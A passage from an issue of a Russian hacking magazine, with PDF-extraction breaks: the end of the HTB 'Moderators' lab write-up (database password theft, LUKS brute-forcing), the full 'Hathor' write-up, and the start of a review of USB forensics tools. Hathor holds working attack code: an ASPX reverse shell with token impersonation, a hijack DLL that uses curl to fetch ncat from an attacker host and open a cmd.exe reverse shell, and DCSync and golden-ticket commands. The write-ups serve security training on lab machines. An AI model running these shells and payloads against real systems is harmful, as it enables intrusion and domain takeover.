У это го поль зовате ля уже есть ключ SSH, который мы бла гопо луч но забира ем.

SSH-ключ поль зовате ля

А теперь под клю чаем ся по SSH и забира ем флаг поль зовате ля.

Флаг поль зовате ля

Ïîëüçîâàòåëü john

WordPress — ìåíåäæåð ïàðîëåé

В охо те за учет ными дан ными нам нуж но прой ти по всем мес там, где они
потен циаль но могут хра нить ся. В дан ном слу чае спер ва из фай ла 

 мы получа ем логин и пароль для под клю чения к базе дан ных, которую
исполь зует WordPress.

wp-config.
php

Со дер жимое фай ла wp-cong.php

Ис поль зовать этот же пароль для вто рого поль зовате ля не получи лось, поэто -
му под клю чаем ся к базе дан ных и забира ем хеши паролей для бру та.

mysql -h localhost -u wordpressuser -D wordpress 
-pwordpresspassword123!!

   select * from wp_users;

Таб лица с учет ными дан ными поль зовате лей WordPress

Проб рутить эти хеши не получи лось, но мы можем пой ти даль ше, ведь у нас
есть пла гин для хра нения паролей. Что бы заг лянуть в него, нам нуж но авто -
ризо вать ся от име ни адми нис тра тора CMS. Так как мы име ем дос туп к базе,
мож но прос то заменить хеш пароля сущес тву юще го поль зовате ля сво им.

WWW

Сге нери ровать пароль для WordPress мож но
на сай те .useotools.com

Я пос тавил пароль  и внес в базу его хеш.ralf

     
    

update `wp_users` set `user_pass` = '$P$BjTmd5jwVm0hNn9CO7HEjlNWM.
jT/s0' where user_login = 'admin';

Прос то так авто ризо вать ся на сай те сра зу не получит ся, пос коль ку сам сайт
будет обра щать ся к , а не к , как ука зыва ем мы.
Поэто му добавим запись в файл .

moderators.htb 127.0.0.1
/etc/hosts

127.0.0.1       localhost moderators.htb

Пос ле авто риза ции откры ваем стра ницу с пароля ми, и там нас ждет готовый
ключ SSH.

Сох ранен ные пароли в WordPress

Сох раня ем ключ, наз нача ем пра ва  и под клю чаем ся к хос -

ту.

chmod 0600 id_rsa

Сес сия поль зовате ля john

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

В домаш нем катало ге поль зовате ля находим фай лы для вир туаль ной машины
VirtualBox, а так же копию перепис ки, в которой и идет речь об этой вир туал ке.

Со дер жимое катало га ~/stuff

Со дер жимое перепис ки

Заг ружа ем на локаль ный хост вир туаль ную машину и про буем запус тить,
но получа ем ошиб ку.

scp  ./-i john_id_rsa john@10.10.11.173:~/stuff/VBOX/*

Ошиб ка при добав лении вир туаль ной машины

Âçëîì VirtualBox Disk Encryption

При дет ся открыть файл  и нем ного поп равить. Спер ва взгля нем на раз дел

. Там уби раем DVD-при вод, уби раем жес ткий диск 
и пра вим путь к дис ку .

vbox
MediaRegistry Ubuntu.vdi

2019.vdi

Ис ходные кон фигура ции

Из менен ные кон фигура ции

И чуть под пра вим раз дел , убрав ненуж ный диск.StorageControllers

Ис ходные кон фигура ции

Из менен ные кон фигура ции

Те перь вир туаль ную машину мож но добав лять в VirtualBox.

Це левая вир туаль ная машина

Но, как мож но было заметить еще в самом кон фиге, файл  зашиф -

рован. Поэто му исполь зуем  для бру та пароля.

2019.vdi
pyvboxdie-cracker

python3 pyvboxdie-cracker.py -v ../2019-08-01.vbox -d ~/tmp/
wordlists/Passwords/1.pass_1564.txt

Ре зуль тат работы скрип та

По луча ем не толь ко исполь зуемый алго ритм, но и пароль — . Теперь,

если запус тить вир туаль ную машину и ввес ти пароль, обна ружим, что этот диск
не заг рузоч ный. Тог да прос то при мон тиру ем раз дел к хос товой машине,
но сна чала рас шифру ем диск через нас трой ки вир туаль ной машины.

computer

Нас трой ки шиф рования дис ка

Сни маем галоч ку «Вклю чить шиф рование дис ков», вво дим пароль и сох раня ем
нас трой ки. В информа ции о вир туаль ной машине уви дим, что над пись рядом
с дис ком изме нилась с «Шиф рован ный» на «Обыч ный».

Ин форма ция о вир туаль ной машине

Virtual Disk Image mount

Что бы мон тировать вир туаль ный диск, нам сна чала нуж но заг рузить драй вер
Network Block Device.

sudo modprobe nbd

Те перь с помощью  под клю чим образ дис ка, а драй вер nbd будет

исполь зован для соз дания блоч ных устрой ств и вво да-вывода при работе
с ними.

qemu-nbd

sudo qemu-nbd -c /dev/nbd0 ./2019.vdi

А теперь мы можем при мон тировать раз дел ./dev/nbd0

sudo mount /dev/nbd0 /mnt

Мон тирова ние обра за

Но ничего не выходит, так как раз дел защищен LUKS.

Âçëîì LUKS

 — спе цифи кация фор мата шиф рования дис ков,

нацелен ная на исполь зование в ОС с ядром Linux. Глав ной целью тех нологии
было обес печить удоб ный для поль зовате ля стан дарти зиро ван ный спо соб
управле ния клю чами.

Linux Unified Key Setup

Так как мы уже име ем дос туп к самому раз делу, мы можем проб рутить его.
Для это го будем исполь зовать . Что бы не мучить ся со сбор -

кой, заг рузим из репози тория готовые исполня емые фай лы.

bruteforce-luks

sudo ./bruteforce-luks-static-linux-amd64 -f 1.pass_1564.txt /dev/
nbd0

Ре зуль тат перебо ра пароля LUKS

Мы добыли пароль для LUKS, а зна чит, можем рас шифро вать и мон тировать
раз дел.

sudo cryptsetup luksOpen /dev/nbd0 newdisk
sudo mount /dev/mapper/newdisk /mnt

Со дер жимое дис ка

На дис ке есть каталог с про екта ми — . Пер вым делом я решил поис -
кать воз можные пароли. Так находим пароль, исполь зуемый для 

при обновле нии сис темы.

scripts
sudo

По иск паролей

Воз вра щаем ся на уда лен ную машину и про буем най ден ный пароль .sudo

Флаг рута

Ма шина зах вачена, и флаг рута у нас, но еще нуж но убрать за собой на сво ей
локаль ной машине все, что мы намон тирова ли:

sudo umount /mnt
sudo cryptsetup luksClose /dev/mapper/newdisk
sudo qemu-nbd -d /dev/nbd0

 nbdsudo modprobe -r

Те перь точ но все!

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/jpillora/chisel
https://www.exploit-db.com/exploits/39591
https://www.useotools.com/wordpress-password-hash-generator/
https://github.com/axcheron/pyvboxdie-cracker
https://github.com/glv2/bruteforce-luks


HTB

HATHOR

ОБХОДИМ APPLOCKER
И АТАКУЕМ AD ПРИ ПОМОЩИ

DCSYNC И PASSTHETICKET

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу, как исполь зовать
и дорабо тать бэк шелл на ASP.NET, затем
обой дем полити ки AppLocker с помощью
DLL Hijacking, а в кон це при меним
популяр ные ата ки DCSync и PassTheTicket
для получе ния пол ного дос тупа к хос ту.

По лиго ном для наших упражне ний пос лужит учеб ная машина Hathor с пло щад -
ки . Уро вень слож ности — «безум ный»!Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

Пер вым делом, как всег да, добав ляем IP-адрес машины в :/etc/hosts

10.10.11.147    hathor.htb

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро -
вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем име -
ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Наш ли мно жес тво пор тов, что типич но для Windows:
53 — служ ба DNS;•
80 (HTTP) — веб-сер вер Microsoft IIS/10.0;•
88 — служ ба Kerberos;•
135 — служ ба уда лен ного вызова про цедур (Microsoft RPC). Исполь зует ся
для вза имо дей ствия кон трол лер — кон трол лер и кон трол лер — кли ент;

•

139 — служ ба сеан сов NetBIOS, NetLogon;•
389 — служ ба LDAP;•
445 — служ ба SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 (HTTP-RPC-EPMAP) — исполь зует ся в служ бах DCOM и MS Exchange;•
636 — LDAP с шиф ровани ем SSL или TLS;•
3268 (LDAP) — для дос тупа к Global Catalog от кли ента к кон трол леру;•
3269 (LDAPS) — для дос тупа к Global Catalog от кли ента к кон трол леру
через защищен ное соеди нение;

•

5985 — служ ба уда лен ного управле ния (WinRM);•
9389 — веб-служ бы AD DS.•

Nmap авто мати чес ки показы вает информа цию из сер тифика тов. Имен но так
мы узна ем о новых доменах, которые добавим в ./etc/hosts

10.10.11.147 hathor.htb hathor.windcorp.htb windcorp.htb

Справка: robots.txt
Этот файл исполь зует ся для того, что бы поп росить кра уле ры (нап ример,
Google или Яндекс) не тро гать какие-то опре делен ные катало ги. Ник то
не хочет, к при меру, что бы в поис ковой выдаче появ лялись стра ницы авто риза -
ции адми нис тра торов сай та, фай лы или пер сональ ная информа ция со стра ниц
поль зовате лей и про чие вещи в таком духе. Одна ко и зло умыш ленни ки пер -
вым делом прос матри вают этот файл, что бы узнать о фай лах и катало гах,
которые стре мит ся спря тать адми нис тра тор сай та.

В нашем robots.txt аж 29 скры тых катало гов, в том чис ле и админка.

Стар товая стра ница сай та

К сожале нию, прос мотрев все стра ницы, я ничего инте рес ного не нашел. Но на
сай те есть воз можность зарегис три ровать ся и авто ризо вать ся, что обыч но
откры вает еще боль ший прос тор для атак.

Па нель авто риза ции и регис тра ции

ÒÎ×ÊÀ ÂÕÎÄÀ

Вой дя в сис тему как поль зователь, сра зу уви дим спи сок всех акка унтов.

Спи сок зарегис три рован ных поль зовате лей

В основном ничего инте рес ного нет, поэто му перей дем к ска ниро ванию скры -
тых катало гов. Сов сем не факт, что все они были перечис лены в robots.txt, так
что рас чехля ем .ffuf

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе ния —
это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле -
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — URL.• -u

ffuf    256 -u 'http://windcorp.htb/FUZZ' -t -w directory_2.3_medium_
lowercase.txt

Ре зуль тат ска ниро вания катало гов с помощью ffuf

Из мно жес тва стра ниц в выводе есть те, которые воз вра щают код 200, одна
из них — , но она нам недос тупна.filemanager

Со обще ние о зап рете дос тупа

Ни чего боль ше не обна ружив, я решил поп робовать авто ризо вать ся
с помощью спис ка дефол тных уче ток. И от име ни 

авто ризо вал ся как адми нис тра тор сай та.

admin@admin.com : admin

Па нель адми нис тра тора сай та

ÒÎ×ÊÀ ÎÏÎÐÛ

Мы наш ли фай ловое хра нили ще, зна чит, поп робу ем заг рузить реверс-шелл
и получить RCE. Так как исполь зует ся веб-сер вер IIS, заг рузим .
В нем нам нуж но будет лишь ука зать адрес, хост и порт для под клю чения.

шелл на ASPX

Из менен ный код реверс-шел ла

За тем поп робу ем заг рузить файл — и получим сооб щение об ошиб ке: фай лы
таких типов заг ружать нель зя.

Со обще ние об ошиб ке

Но мы можем заг рузить файл как HTML, а потом с помощью штат ных средств
сис темы пере име новать его в .aspx. Для это го копиру ем файл через кон текс -
тное меню и ука зыва ем новое имя.

Ко пиро вание фай ла через кон текс тное меню

Но вое имя фай ла

Все прош ло без оши бок, поэто му коман дой откры ваем лис тенер:

 nc rlwrap -cAr -lvnp 4321

И обра щаем ся к заг ружен ному фай лу:

http://windcorp.htb/Data/Sites/1/media/htmlfragments/shell.aspx

При нятый бэк коннект

Та ким обра зом мы получа ем дос туп в сис тему.

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx
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ÏÐÎÄÂÈÆÅÍÈÅ

Ïîëüçîâàòåëü BeatriceMill

Ос матри ваясь на машине, натыка емся на катало ги  и 

.

script Get-
bADpassword

![Содер жимое катало га C:\](https://static.xakep.ru/articles/21112022/15.png)
Нач нем с , он содер жит мно го скрип тов на PowerShell

и дос тупен на . Отме чаем, что для его работы необ ходима при виле гия
для реп ликации дан ных домена.

Get-bADpassword
GitHub

Со дер жимое катало га Get-bADpassword

Боль шинс тво скрип тов одно тип ны, но, помимо них, есть один файл
на VBScript.

Со дер жимое фай ла run.vbs

При запус ке скрип та в жур нале при ложе ния (параметр ) будет соз дано

событие  ( ) типа Information ( ) с иден тифика -
тором 444. Осматри ваясь даль ше в катало ге , находим опи сание

прог раммы, а так же спис ки паролей и логи.

/L
"Check passwords" /D /T

Accessible

Со дер жимое катало га Accessible

Опи сание под твержда ет, что логи при ложе ния будут рас положе ны в катало ге
.Logs

Со дер жимое фай ла info.txt

Со дер жимое катало га Logs

Прос матри вая эти фай лы, отме чаем инте рес ное событие. Во вре мя ауди та
прог рамма опре дели ла пароль поль зовате ля BeatriceMill.

Со дер жимое логов

Поп робу ем най ти этот пароль. Для каж дого лога есть файл CSV, в одном
из которых и находим хеш пароля.

Со дер жимое катало га CSVs

Со дер жимое фай ла с резуль татом ауди та

Хеш похож на резуль тат алго рит ма MD5, его луч ше все го гуг лить в онлай новых
базах (нап ример, ). Таким обра зом и получим пароль поль -
зовате ля.

crackstation.net

Ре зуль тат поис ка про обра за хеша в базе

Вот толь ко этот пароль не поз воля ет авто ризо вать ся на SMB и WinRM, что
мож но про верить с помощью .CrackMapExec

  cme smb 10.10.11.147 -u BeatriceMill -p '!!!!ilovegood17' -d 
windcorp.htb

Про вер ка учет ных дан ных на SMB-ресур се

Но мож но про верить на LDAP, а заод но получить и спи сок дру гих поль зовате -
лей.

    
  

ldapsearch -x -h hathor.htb -D 'windcorp\BeatriceMill' -w
'!!!!ilovegood17' -b "CN=Users,DC=windcorp,DC=htb"

Про вер ка учет ных дан ных на LDAP

Так как учет ные дан ные вер ны, но под клю чить ся к нуж ным служ бам мы
не можем, поп робу ем имперсо ниро вать дру гого поль зовате ля. Прав да, запус -
кать прог раммы из раз ряда  не получит ся, так как акти вен AppLocker.

Давай нем ного изме ним наш реверc-шелл.

RunAS

Ìîäåðíèçàöèÿ ASPX-øåëëà

Под имперсо нали заци ей поль зовате ля понима ется получе ние и при мене ние
его токена дос тупа. Для это го нам понадо бят ся три WinAPI-фун кции:

 — получе ние токена поль зовате ля по пре дос тавлен ным учет -
ным дан ным;

• LogonUserA

 — соз дание копии токена;• DuplicateToken

 — воз врат кон тек ста.• RevertToSelf

Пер вым делом в импорт нашего реверс-шел ла добавим новые модули.

     <%@ Import Namespace = "System.Web" %>
     <%@ Import Namespace = "System.Web.Security" %>
     <%@ Import Namespace = "System.Security.Principal" %>
     <%@ Import Namespace = "System.Runtime.InteropServices" %>

За тем добавим объ явле ние этих фун кций.

[DllImport("advapi32.dll")]
       

      
   

public static extern int LogonUserA(String lpszUserName, String
lpszDomain, String lpszPassword, int dwLogonType, int
dwLogonProvider, ref IntPtr phToken);

  [DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true
)]

       
   

public static extern int DuplicateToken(IntPtr hToken, int
impersonationLevel, ref IntPtr hNewToken);

  [DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true
)]

    public static extern bool RevertToSelf();

На пишем фун кцию, которая получа ет токен целево го поль зовате ля и при меня -
ет его в текущий кон текст.

      
  

private bool impersonateUser(String userName, String domain,
String password) {
    WindowsIdentity windowsIdentity;
    WindowsImpersonationContext windowsImpersonationContext;
      IntPtr token = IntPtr.Zero;
      IntPtr tokenDuplicate = IntPtr.Zero;

    if(RevertToSelf()) {
      

  
       if(LogonUserA(userName, domain, password, 2, 0, ref token)

!= 0) {
                if(DuplicateToken(token, 2, ref tokenDuplicate)!= 0) {

                  windowsIdentity = new WindowsIdentity(
tokenDuplicate);

 
  

               WindowsImpersonationContext
windowsImpersonationContext = windowsIdentity.Impersonate();

                   if (windowsImpersonationContext != null) {
                   CloseHandle(token);
                   CloseHandle(tokenDuplicate);

                    return true;
               }
           }
       }
   }
    if(token!= IntPtr.Zero)
       CloseHandle(token);
   if(tokenDuplicate!=IntPtr.Zero)
       CloseHandle(tokenDuplicate);
    return false;

}

Те перь вне сем прав ки в фун кцию , которая извле чет

токен из текуще го кон тек ста, выпол нит его копию и передаст в фун кцию
.

SpawnProcessAsPriv

CreateProcessAsUser

    protected void SpawnProcessAsPriv(IntPtr oursocket) {
    bool retValue;
      string Application = Environment.GetEnvironmentVariable(

"comspec");
       PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
       STARTUPINFO sInfo = new STARTUPINFO();
       SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();

       IntPtr Token = new IntPtr(0);
       IntPtr DupeToken = new IntPtr(0);
    bool ret;
       SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
     sa.bInheritHandle = false;
     sa.Length = Marshal.SizeOf(sa);
     sa.lpSecurityDescriptor = (IntPtr)0;

     Token = WindowsIdentity.GetCurrent().Token;
       const uint GENERIC_ALL = 0x10000000;
       const int SecurityImpersonation = 2;
       const int TokenType = 1;
         

   
ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa,

SecurityImpersonation, TokenType, ref DupeToken);

     pSec.Length = Marshal.SizeOf(pSec);
     sInfo.dwFlags = 0x00000101;
     sInfo.hStdInput = oursocket;
     sInfo.hStdOutput = oursocket;
     sInfo.hStdError = oursocket;
      if (DupeToken == IntPtr.Zero)

       
        

       retValue = CreateProcess(Application, "", ref pSec, ref
pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
   else

     
           

       retValue = CreateProcessAsUser(DupeToken, Application, "",
ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out
pInfo);

    WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
   CloseHandle(DupeToken);

}

До бавим  в основную фун кцию .impersonateUser Page_Load

      protected void Page_Load(object sender, EventArgs e) {
      String host = "10.10.14.82";
      int port = 1234;
     impersonateUser("BeatriceMill", "windcorp.htb",

"!!!!ilovegood17");
    CallbackShell(host, port);

}

Пов торим все манипу ляции с веб-ресур сом, но переда дим уже новый шелл
и получим бэк коннект в кон тек сте дру гого поль зовате ля.

Сес сия поль зовате ля BeatriceMill

Ïîëüçîâàòåëü ginawild

Те перь перей дем к дру гому най ден ному катало гу — .C:\share

Со дер жимое катало га share

Тут обна ружи ваем два исполня емых фай ла:  и ,

а так же каталог . Так как эти фай лы уже были на машине, най дем
для них пра вила AppLocker.

Bginfo64.exe AutoIt3_x64.exe
scripts

rpV2 xe
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\S

\E

Пра вило для прог раммы Bginfo64.exe

Как сле дует из спис ка дос тупа, мы можем запус кать , но не

изме нять его.

Bginfo64.exe

icacls C:\share\Bginfo64.exe

Спи сок дос тупа для Bginfo64.exe

В спис ке про цес сов отсле жива ем регуляр но запус каемую прог рамму
.AutoIt3_x64

Спи сок про цес сов

А вот в катало ге  мы можем переза писать DLL .scripts 7-zip64.dll

Спи сок дос тупа для 7-zip64.dll

Про цесс  запус кает ся от име ни дру гого поль зовате ля. Давай напишем

DLL, которая с помощью коман ды  сме нит вла дель ца раз решен ной
для запус ка , а затем даст всем пол ный дос туп к это му фай лу

с помощью . Затем с помощью  заг рузит , переза пишет

 и под клю чит ся к нашему хос ту.

AutoIt3
takeown

Bginfo64.exe
icacls curl netcat

Bginfo64.exe

#include <windows.h>

       
  

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call,
LPVOID lpReserved) {
    switch (ul_reason_for_call) {

       case DLL_PROCESS_ATTACH:
          system("takeown /f C:\\share\\Bginfo64.exe");
          system("icacls C:\\share\\Bginfo64.exe /grant Everyone:

F /T");
          system("curl 10.10.14.26/ncat.exe -o c:\\share\\

Bginfo64.exe");
          system("C:\\share\\Bginfo64.exe 10.10.14.26 5432 -e 

cmd.exe");
          break;

       case DLL_THREAD_ATTACH:
       case DLL_THREAD_DETACH:
       case DLL_PROCESS_DETACH:

          break;
  }
   return TRUE;

}

За тем ком пилиру ем DLL с помощью :gcc

 x86_64-w64-mingw32-gcc -shared -o 7-zip64.dll dll.c

От кро ем лис тенер ( ) на локаль ном хос те и уже

на хос те переза пишем DLL:

rlwrap -cAr nc -lvnp 5432

curl http://10.10.14.26/7-zip64.dll -o C:\share\scripts\7-zip64.
dll

Ос танет ся нем ного подож дать, а затем заметим в логах локаль ного веб-сер -
вера заг рузку .ncat

Ло ги веб-сер вера

И тут же при лета ет бэк коннект.

Флаг поль зовате ля

Продолжение статьи →

https://github.com/improsec/Get-bADpasswords
https://crackstation.net/
https://github.com/Porchetta-Industries/CrackMapExec
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ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Ïîëüçîâàòåëü bpassrunner

Еще раз походим по катало гам и заг лянем в кор зину: .C:\$Recycle.Bin

Со дер жимое кор зины

Нам нуж но узнать SID сво его поль зовате ля. В этом поможет прос тая коман да
.whoami /all

SID поль зовате ля

Те перь мы можем прос мотреть спи сок фай лов, уда лен ных под кон троль ным
нам поль зовате лем, и най дем там сер тификат!

Уда лен ные фай лы

Ска чива ем файл на локаль ную машину, и при попыт ке прос мотреть сер тификат
у нас спро сят пароль.

Зап рос пароля для сер тифика та

Мы можем пре обра зовать файл с помощью  в фор мат прог раммы

John the Ripper для бру та пароля. А потом и получить сам пароль.

pfx2john

pfx2john.py cert.pfx

Пре обра зова ние фай ла в фор ма JTR

john --wordlist=rockyou.txt hash

Брут пароля

И получа ем пароль. Если заново открыть сер тификат, то мож но узнать, что он
слу жит для под писи кода. А если учесть, что поль зователь сос тоит в груп пе

, то получа ется, что мы можем переза писать скрип ты на PowerShell.
Теперь это ста новит ся акту аль ным, так как мы можем под писать новый скрипт!
ITDep

Груп пы поль зовате ля ginawild

Пе рене сем сер тификат из кор зины в каталог  и добавим в хра нили ще сер -
тифика тов поль зовате ля.

Temp

copy c:\$Recycle.Bin\
S-1-5-21-3783586571-2109290616-3725730865-2663\$RLYS3KF.pfx   C:\
Windows\temp\cert.pfx
certutil -user -p abceasyas123 -importpfx C:\Windows\temp\cert.pfx
NoChain,NoRoot

Со обще ние об успешном импорте сер тифика та

Про верим, дей стви тель но ли сер тификат был добав лен в хра нили ще.

powershell
$certs = Get-ChildItem cert:\CurrentUser\My -CodeSigningCert
$certs[0]

До бав ленный сер тификат

А теперь запишем реверс-шелл в файл  и под пишем
соз данный скрипт.

Get-bADpasswords.ps1

echo C:\share\Bginfo64.exe 10.10.14.3 7654 -e cmd.exe > C:\
Get-bADpasswords\Get-bADpasswords.ps1
Set-AuthenticodeSignature C:\Get-bADpasswords\Get-bADpasswords.ps1
-Certificate $certs[0]

Со обще ние о валид ной под писи скрип та

Так же сра зу убе дим ся, что код под писан.

type C:\Get-bADpasswords\Get-bADpasswords.ps1

Со дер жимое фай ла Get-bADpasswords.ps1

Пом нишь, что при запус ке фай ла соз дает ся событие ?

Откро ем реверс-шелл:

Check passwords

 nc rlwrap -cAr -lvnp 7654

И соз дадим ука зан ное событие вруч ную.

eventcreate /T Information /ID 444 /L Application /D "Check 
passwords"

Ло ги лис тенера

Со еди нение с лис тенером было соз дано и сра зу разор вано. Видимо, сес сия
дол го не дер жится, поэто му я решил сна чала выпол нять коман ду, а потом
отправ лять резуль тат ее выпол нения. Для это го нуж но сно ва переза писать
и под писать скрипт, а затем соз дать событие.

echo "whoami /all | C:\share\Bginfo64.exe 10.10.14.3 7654" > C:\
Get-bADpasswords\Get-bADpasswords.ps1
Set-AuthenticodeSignature C:\Get-bADpasswords\Get-bADpasswords.ps1
-Certificate $certs[0]

eventcreate /T Information /ID 444 /L Application /D "Check 
passwords"

Ре зуль тат выпол нения коман ды whoami /all

И получа ем воз можность выпол нять коман ды в кон тек сте нового поль зовате -
ля! При этом пом ним, что  выпол няет ся, зна чит, поль -

зователь может реп лициро вать дан ные домена, а это откры вает путь к ата ке
DCSync.

Get-bADpasswords

DCSync

Ата ка  — это обыч ный зап рос на реп ликацию дан ных через про токол

реп ликации катало гов DRS. Кли ент отправ ляет зап рос  на сер -

вер, ког да хочет получать от него обновле ния объ ектов AD. Ответ содер жит
набор обновле ний, которые кли ент дол жен при менить к сво ей реп лике NC.
Нас, конеч но, боль ше все го инте ресу ют сек реты и учет ные дан ные. Выпол нить
DCSync мож но с помощью скрип тле та . Извле кать дан ные
будем уже при выч ным нам спо собом.

DCSync

DSGetNCChanges

Get-ADReplAccount

Get-ADReplAccount -All -NamingContext 'DC=windcorp,DC=htb' -server
Hathor

Учет ные дан ные адми нис тра тора домена

Но NTLM-аутен тифика ция отклю чена, поэто му учет ка адми нис тра тора нам
ничего не дает.

impacket-smbclient windcorp.htb/administrator@hathor.windcorp.htb 
-hashes :b3ff8d7532eef396a5347ed33933030f -dc-ip hathor.windcorp.
htb

По пыт ка PassTheHash к SMB

Но есть и дру гой спо соб.

Golden Ticket

Аутен тифика ция NTLM отклю чена, а вот Kerberos — нет. В этом слу чае мы
можем поп робовать зап росить золотой билет. Для это го нам нужен NT-хеш
пароля учет ной записи  и SID домена. Все это есть в том же ска не.krbtgt

Ин форма ция об акка унте krbtgt

Те перь мож но генери ровать билет.

ticketer.py -nthash c639e5b331b0e5034c33dec179dcc792 -domain-sid 
S-1-5-21-3783586571-2109290616-3725730865 -domain windcorp.htb 
administrator

Ге нера ция golden ticket

Би лет сох ранен в файл, оста лось его экспор тировать и под клю чить ся к ресур су
SMB.

export KRB5CCNAME=administrator.ccache
 impacket-smbclient -no-pass -k windcorp.htb/administrator@hathor.

windcorp.htb -dc-ip hathor.windcorp.htb

Под клю чение к SMB от име ни адми на

Флаг рута

Ма шина зах вачена!
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АДМИН

За раз ные флеш ки про дол жают быть проб лемой
для безопас ников. Что бы ты был под готов лен к борь бе
с этой напастью, мы соб рали и срав нили нес коль ко
популяр ных бес плат ных ути лит для форен зики под клю -
чаемых USB-устрой ств.

В тес тирова нии, помимо компь юте ра-жер твы на Windows 7, при няли учас тие:
пря мые руки (regedit и фай ловая сис тема);•
MiTeC , USB History;• Windows Registry Recovery (WRR)

;• NirSoft USBDeview
;• USB Forensic Tracker

.• USB Detective

Так же для про вер ки качес тва работы ути лит пос ле уда ления приз наков под -
клю чения устрой ств мы исполь зовали .USB Oblivion

Для оцен ки инс тру мен тов мы смот рим на удобс тво тул зы, наг лядность
резуль татов и их пол ноту, наличие или отсутс твие допол нитель ных све дений.
Основная задача — подоб рать опти маль ную прог рамму, отли чающуюся пол -
нотой пре дос тавля емых све дений и удобс твом в исполь зовании.

REGEDIT

Нач нем с клас сики. Основная часть информа ции о девай сах, вклю чая иден -
тифика торы под клю чаемых устрой ств, хра нит ся в сис темном реес тре.
С исполь зовани ем штат ной ути литы  по пути 

 или  ты можешь най ти все иден -

тифика торы устрой ств. Напом ним, что общий иден тифика тор флеш ки обыч но
пред став ляет ся в виде  (под -
робнос ти читай в нашей статье про ). Учти, что
некото рые арте фак ты могут обна ружить ся не толь ко в текущем кон фиге, но и
в аль тер натив ных ( ).

regedit HKLM\SYSTEM\
CurrentControlSet\Enum\USBSTOR USB

VID_0011&PID_7788<уникальный серийник>
под мену это го иден тифика тора

controlset00X

Не кото рые устрой ства (обыч но само иден тифици рующиеся, такие как CD/DVD
или жес ткие дис ки) про писы вают ся в . Так мы можем толь ко понять,

что какие-то устрой ства с такими-то серий никами под клю чались к хос ту. Одна -
ко ни вре мени под клю чения, ни дру гой под робной информа ции сис темный
реестр нам не пре дос тавит.

USBSTOR

Для прод винутых мож но пос мотреть вот этот раз дел:

HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices

Там мож но опре делить бук ву, наз начен ную сис темой под клю чен ному устрой -
ству.

По мимо это го, наз вания парамет ров содер жат GUID девай са:

\??\Volume{14dfb3bc-5c31-11ec-8d87-f46d043a41b7}

Бла года ря ему ты можешь най ти учет ную запись поль зовате ля, под которой
под клю чалось это устрой ство, — см. раз дел  (если подоз -

рева ешь текуще го юзе ра; если это не он — то в про филях поль зовате лей ищи
фай лы ):

HKEY_CURRENT_USER

C:\Users\<имя>\ntuser.dat

\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2

Или ана лизи руй в реес тре вот эту вет ку:

HKEY_USERS\<SID пользователя>\Software\Microsoft\Windows\ 
CurrentVersion\Explorer\MountPoints2

В целом прос то ищи получен ный GUID. Где нашел ся — там и под клю чал ся.

По лез ная информа ция может встре тить ся и в кус те . Так, сле дующий

раз дел, помимо серий ников, содер жит параметр , что поз воля ет

тебе искать фра зы типа «Смар тфон Оле га»:

SOFTWARE
FriendlyName

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Portable Devices\
Devices

Вот еще инте рес ный раз дел:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
EMDMgmt

Здесь хра нит ся информа ция об устрой ствах и свя зан ных с ними иден тифика -
торах фай ловых сис тем (VSN, Volume Serial Number; одна ко дис ки SSD сюда
не попада ют). Иден тифика торы меня ются пос ле каж дого фор матиро вания —
то есть ты можешь отсле дить исто рию фор матиро ваний носите ля. Учти, что
дан ный параметр (пос ледние циф ры пос ле _ в стро ке под разде ла) пред став -
